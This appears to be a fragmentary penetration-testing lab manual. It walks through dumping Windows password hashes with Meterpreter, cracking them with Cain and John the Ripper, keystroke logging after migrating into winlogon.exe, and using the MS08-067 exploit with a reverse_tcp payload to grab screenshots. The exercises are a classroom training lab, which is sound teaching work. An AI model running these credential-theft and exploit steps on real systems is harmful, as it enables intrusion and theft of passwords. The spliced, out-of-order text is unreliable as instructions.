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Dumping Windows Password Hashes Using Metasploit
Exercise 1: Using Meterpreter to Dump Windows Password Hashes : in the following
exercise, you will use the built-in capability of the Meterpreter payload to dump the password hashes of the accounts on your target system. These hashes will be used later in password
cracking attempts, with the ultimate goal of getting additional usernames and passwords:
- Close your reverse shell and return to the Meterpreter prompt (only type what’s in bold ):
C:\WINDOWS\system32> exit
- With a Meterpreter shell in place type (only type what’s in bold ):
meterpreter > hashdump
- The contents of the target system’s password hash file are output to the screen.
The passwd file contains user account information and looks as follows:
Administrator:500:CEEB0FA9F240C200417EAF40CFAC29C3:D280553F0103F2E643406517296E7582:::
User1:1011:7584248B8D2C9F9EAAD3B435B51404EE:186CB09181E2C2ECAAC768C47C729904:::
User2:1012:AC5BA6A944526699AAD3B435B51404EE:F07A9DFFFC2C5C7F9D9EBC83FD69D68E:::
User3:1013:E7EED3F5C2C85B88AAD3B435B51404EE:6AA15B3D14492D3FA4AA7C5E9CDC0E6A:::
Each field is separated with colon. The fields are:
1 st^ field: username (Administrator, User1, etc.) 2 nd^ field: Relative Identification (RID) : last 3-4 digits of the Security Identifier (SID), which are unique to each user 3 rd^ field : LM hash 4 th^ field : NTLM hash
- Based on previous lab techniques, determine a way to get the contents of the hashdump output from your BackTrack system to your Windows attack system
- Save the file as hashes.txt to the c:\temp drive on your Windows attack system
6. Make sure the Import Hashes from a text file radio button is selected (second
option) and click the ...
7. Browse to C:\temp and select hashes.txt
8. Click Next
9. The usernames and password hashes from the target system should now appear
in Cain
10. Under the User Name column (right-hand window pane), right-click on one of the
user names and select Dictionary Attack/NTLM Hashes
11. The Dictionary Attack window appears
12. Add a dictionary wordlist that Cain can use to crack the password hash for the
selected user account (right-click in the top Dictionary Attack window, where it
says File and Position, and select Add to list)
13. Browse to C:\Program Files\Cain\Wordlists and select the Wordlist.txt file
14. The wordlist should appear in the top of the Dictionary Attack window
15. Click the Start button to begin the dictionary attack
16. Watch the Key Rate field as Cain tries to crack the password hashes for the
selected user account. On average, how many passwords per second is Cain
able to process?
17. Was Cain able to crack the user account’s password hash? If so, what is the
username and password?
18. Repeat steps #11-16 for all user accounts
IMPORTANT NOTE: when you repeat step #13 for each successive account, the
Dictionary Attack window will already have the dictionary wordlist loaded. Right-
click and select Reset all initial file positions. This will instruct Cain to start at the
beginning of the dictionary wordlist when trying to crack other accounts
19. Record the username and passwords you cracked here:
20. When you have cracked all the passwords you can, exit from Cain
PACHYDE (smendez?e?:1)
RM (smendez?e?:2)
guesses: x time: 0:00:08:23 100% c/s: 9204K trying: ZYUUZOK - ZZZZZZZ
4. In a second BackTrack shell, use the --show option to display the password cracking
status (only type what’s in bold ):
user1@bt:~# ./john --show /root/ceh/hashes.txt | less
NOTE: you will need to re-run this command multiple times to get the latest information
relating to cracked passwords and remaining hashes left to crack
5. Was John able to crack the same password hashes as Cain?
6. In order to complete Exercise 2, you need to either wait for John to finish cracking all
the LM password hashes, or hit Ctrl+C in the BackTrack shell where John is running
to stop it
Exercise 2: using John the Ripper to crack the Windows NTLM password hashes : in the
following exercise, you will use John to crack the NTLM password hashes from your target
system:
1. From a BackTrack shell type (only type what’s in bold ):
user1@bt:~# ./john --format:NT /root/ceh/hashes.txt
Syntax breakdown:
./john : program name
--format:NT : program option to use NTLM hashes
/root/ceh/hashes.txt : the password hashes from your target system
2. In a second BackTrack shell, use the --show option to display the password cracking
status (only type what’s in bold ):
user1@bt:~# ./john --show /root/ceh/hashes.txt | less
3. Compare the LM encoded passwords (Exercise 1, step #4) with the NTLM encoded
passwords (Exercise 2, step #2)
4. Close the shell used to crack the password hashes and leave your Meterpreter shell
open
- Migrate the current Meterpreter payload into the winlogon.exe process (only type what’s in bold ):
meterpreter > migrate PID_winlogon.exe (replace PID_winlogon.exe with the PID you
recorded in step #3)
Your output will look something like this:
[*] Migrating to 440…
[*] Migration completed successfully.
- The keyscan_start command, which you will use next to start capturing keystrokes on the target system, spawns a new thread inside of the process where Meterpreter was injected. This thread allocates a large 1MB buffer to store the captured keystrokes. Type (only type what’s in bold ):
meterpreter > keyscan_start
Your output will look something like this:
Starting the keystroke sniffer…
- Switch to your target system and login with credentials you gathered in previous labs
- Dump the keystroke buffer on the target system (only type what’s in bold ):
meterpreter > keyscan_dump
Your output will look something like this:
Dumping captured keystrokes…
smendez pachyderm
Taking Screen Shots Using Metasploit
Exercise 1: Taking Screen Shots Using Metasploit : in the following exercise, you will use the
Meterpreter payload to take screen shots of the victim system:
- From a BackTrack shell, navigate to the Metasploit Framework 3 folder (only type what’s in bold ):
user1@bt:~# cd /pentest/exploits/framework
user1@bt:~# pwd
/pentest/exploits/framework3/
- Open the Metasploit Framework console (only type what’s in bold ):
user1@bt:/pentest/exploits/framework3# ./msfconsole
- Now type (only type what’s in bold ):
msf > show exploits
- You are going to setup Metasploit to use the MS08-067 exploit, which leverages a vulnerability in the Microsoft Server service, allowing an attacker to execute code remotely. This is the same exploit made famous by the Conficker worm circa November 2008 (only type what’s in bold ):
msf > use windows/smb/ms08_067_netapi
- Set your payload to the following (only type what’s in bold , on one line):
msf exploit (ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
- For this payload, you must set an RHOST value, which will be the IP address of your
- Metasploit will automatically take a screen grab of the current remote desktop and open the picture in a web browser, while also saving the file with a system-generated name and .JPEG file extension in /opt/metasploit3/msf3.
- Switch to your Windows victim system. Either login, or open an application.
- Switch back to your Meterpreter session and type the following (only type what’s in bold ):
meterpreter > screenshot
- Repeat steps #23-24 as many times as you like
